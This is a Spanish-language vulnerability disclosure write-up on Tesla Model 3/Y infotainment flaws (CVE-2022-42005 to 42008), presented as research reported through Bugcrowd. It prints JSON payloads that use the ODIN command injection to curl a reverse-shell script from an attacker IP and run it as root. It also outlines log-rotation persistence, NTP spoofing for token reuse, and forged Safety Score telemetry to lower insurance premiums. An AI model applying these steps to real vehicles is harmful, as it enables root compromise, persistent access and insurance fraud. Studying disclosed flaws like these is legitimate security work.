
Investigación de vulnerabilidades en sistemas de infoentretenimiento de Tesla Model 3/Y. 6 vulnerabilidades, 4 CVEs (CVE-2022-42005 a CVE-2022-42008). Shell root, acceso persistente, suplantación de telemetría de seguros.
Investigación de vulnerabilidades en el sistema de infoentretenimiento del Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), divulgadas de manera responsable a Tesla a través de Bugcrowd.
Se obtuvo acceso root persistente en un Tesla Model 3 de producción mediante una vulnerabilidad de inyección de comandos en la interfaz de diagnóstico ODIN de Tesla (CVE-2022-42008). A partir de ahí, se descubrieron cinco vulnerabilidades adicionales — incluyendo un método de persistencia que sobrevive a las actualizaciones de firmware (CVE-2022-42005, CVE-2022-42006) y un método para falsificar la telemetría del Safety Score (Puntuación de Seguridad) del seguro que redujo directamente las primas mensuales de $130 a $83.
Seis vulnerabilidades en ODIN, hermes y Safety Score. Cuatro CVEs. Recompensado a través de Bugcrowd e inscrito en el programa de Investigadores de Seguridad SSH de Tesla.
| Hallazgo | CVE | Impacto | Estado | Recompensa |
|---|---|---|---|---|
| Shell Root a través de ODIN | CVE-2022-42008 | Shell root mediante inyección de comandos | Corregido (2021.32.10) | Recompensa Bugcrowd |
| Tokens ODIN Expirados | CVE-2022-42007 | Reutilización de tokens mediante suplantación NTP | Corregido (2021.32.10) | Recompensa Bugcrowd |
| Subida a Mothership | — | Subida arbitraria de archivos a servidores de Tesla | Marcado como N/A | — |
| Backshell de Logs + Acceso DV | CVE-2022-42005, CVE-2022-42006 | Acceso persistente que sobrevive a actualizaciones de firmware | Corregido | Recompensa Bugcrowd |
| Suplantación de Telemetría de Seguro | — | Safety Score falsificado reduce primas de seguro | Sin corrección confirmada | — |
| ODIN Sin Fusible | — | Cualquier tarea ODIN sin autenticación | Sin corrección confirmada | — |
El sistema de infoentretenimiento del Tesla Model 3/Y (Intel Atom MCU) ejecuta un sistema operativo basado en Linux con varias superficies de ataque identificadas durante esta investigación:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+cliente) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Subidas a │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Informe 06│ │ (valores │ │ [Informe 03] │ │
│ │ (bypass │ │ de datos) │ │ [Informe 05] │ │
│ │ is-fused)│ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Rotación de │ │ │
│ │ │ Logs │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistencia)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Servidor │
│ │ │ │
│ CVE-42007 │ │ Subidas de │
│ (tokens │ │ archivos │
│ expirados)│ │ Datos de │
│ │ │ telemetría │
└─────────────┘ └──────────────────┘
Informes completos: Shell Root a través de ODIN | Backshell de Logs + Acceso DV
La interfaz de diagnóstico ODIN expone una tarea llamada TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK que acepta un parámetro MicTest-Input — una lista de cadenas pasadas directamente a CID_EXEC para su ejecución como root. Cualquier suscriptor con el nivel de acceso más bajo de Toolbox (tbx-external) puede activar esta tarea conectándose al puerto de diagnóstico del coche y enviando una solicitud POST. Las cadenas de entrada se ejecutan textualmente, por lo que el ataque consta de dos solicitudes: primero, descargar un script de shell inverso en el coche mediante curl:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Luego ejecutarlo:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Una vez establecido un shell root, se logra acceso persistente secuestrando la configuración de rotación de logs de svlogd. El comando estándar de compresión gzip se reemplaza con un script que abre un backshell bajo la cuenta log cada vez que los logs rotan:
!sh /var/log/wpa_supplicant/gzip.sh -c
El archivo de configuración se hace inmutable con chattr +i, asegurando que sobreviva a las actualizaciones de firmware. Si bien la cuenta log no puede usar el comando estándar sdv para establecer valores de datos (dbus lo rechaza), el prototype_server inactivo de Tesla proporciona acceso websocket sin restricciones a todos los valores de datos cuando se habilita mediante settings.conf. Un conjunto personalizado de scripts de shell (sdv, lv, send.sh) emulan un cliente websocket para interactuar con este servidor.
El kit de herramientas de persistencia completo se controla a través del cuadro de entrada del Código de Acceso del coche (visible manteniendo presionado el modelo del coche en la pantalla táctil), que es monitoreado por un script de escucha que ejecuta comandos — incluyendo abrir backshells, establecer valores de datos y alternar modos de servicio.
El endpoint de generación de tokens ODIN de Tesla acepta tbx-tokens expirados y — críticamente — también devuelve el tbx-token del usuario en la respuesta, lo que permite la filtración de tokens al compartirlos. Los tokens ODIN expirados normalmente son rechazados por el vehículo, pero al suplantar la fuente de tiempo NTP del coche mediante interceptación basada en ARP (ntpspoof.py), se puede engañar al vehículo para que acepte tokens más allá de su fecha de vencimiento. La puerta de enlace detecta la manipulación de NTP (GTW_w149_rtcTimeSetInPast) pero no actúa sobre esta señal.
Usando los certificados del coche de /var/lib/car_creds/, el servicio hermes_proxy se puede iniciar en una máquina local, proporcionando acceso directo al servidor Mothership de Tesla. El endpoint de copia de seguridad de perfil (/vehicles/${VIN}/computer_profile) acepta subidas arbitrarias de archivos sin validación — un solo comando curl sube cualquier archivo a la infraestructura de producción de Tesla. Tesla marcó este hallazgo como N/A ("funciona según lo previsto").
El sistema Safety Score de Tesla recopila telemetría de conducción desde la MCU y la sube a Mothership para los cálculos de primas de seguro. Con acceso root, se puede capturar una muestra de telemetría con puntuación perfecta, inflar sus valores de odómetro codificados en protobuf mediante edición hexadecimal (usando el esquema de ingeniería inversa en telemetry.proto), y volver a subir las muestras modificadas. Dos viajes fabricados fueron aceptados por Mothership — uno mostrando ~2,700 millas en 3.5 horas — reduciendo directamente las primas de seguro mensuales de $130 a $83. El problema fundamental es que la telemetría se origina en la MCU (accesible para el usuario) en lugar de la unidad de piloto automático APE3 (endurecida). Tesla no emitió una recompensa por este hallazgo.
Con acceso root, montar en bind un script is-fused falso sobre /usr/bin/is-fused y reiniciar los servicios ODIN hace que ODIN crea que la unidad está en modo de fábrica/desarrollo. En este estado, cualquier tarea ODIN puede ejecutarse sin tokens de autenticación — incluyendo tareas que podrían desactivar la alarma del coche (PROC_ICE_X_SET-DATA-VALUE), borrar el VIN (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID), o potencialmente activar funciones críticas de seguridad del vehículo.
Esta investigación se realizó como parte de una investigación de seguridad responsable y se reportó al Programa de Recompensas por Errores de Tesla a través de Bugcrowd. Todas las vulnerabilidades con CVEs asignados han sido parcheadas en las versiones de firmware actuales. Este repositorio se publica únicamente con fines educativos.
Como resultado de esta investigación, el equipo recibió recompensas económicas a través de Bugcrowd y fue inscrito en el programa de Investigadores de Seguridad SSH de Tesla, recibiendo certificados SSH firmados para acceso continuado a la investigación.
Investigación realizada en nombre de SourceHat Labs Inc.
| Herramienta | Descripción |
|---|
| ntpspoof.py | Suplantación NTP basada en ARP para reutilizar tokens ODIN expirados (Python/scapy) |
| telemetry.proto | Esquema protobuf de ingeniería inversa para la telemetría del Safety Score de Tesla (34 campos) |
| listen.sh | Escucha del cuadro de Código de Acceso — interfaz de comandos encubierta a través de la pantalla táctil |
| sdv | Establecer valor de datos a través del websocket de prototype_server |
| lv | Obtener valor de datos a través del websocket de prototype_server |
| send.sh | Construcción de tramas websocket para la comunicación con prototype_server |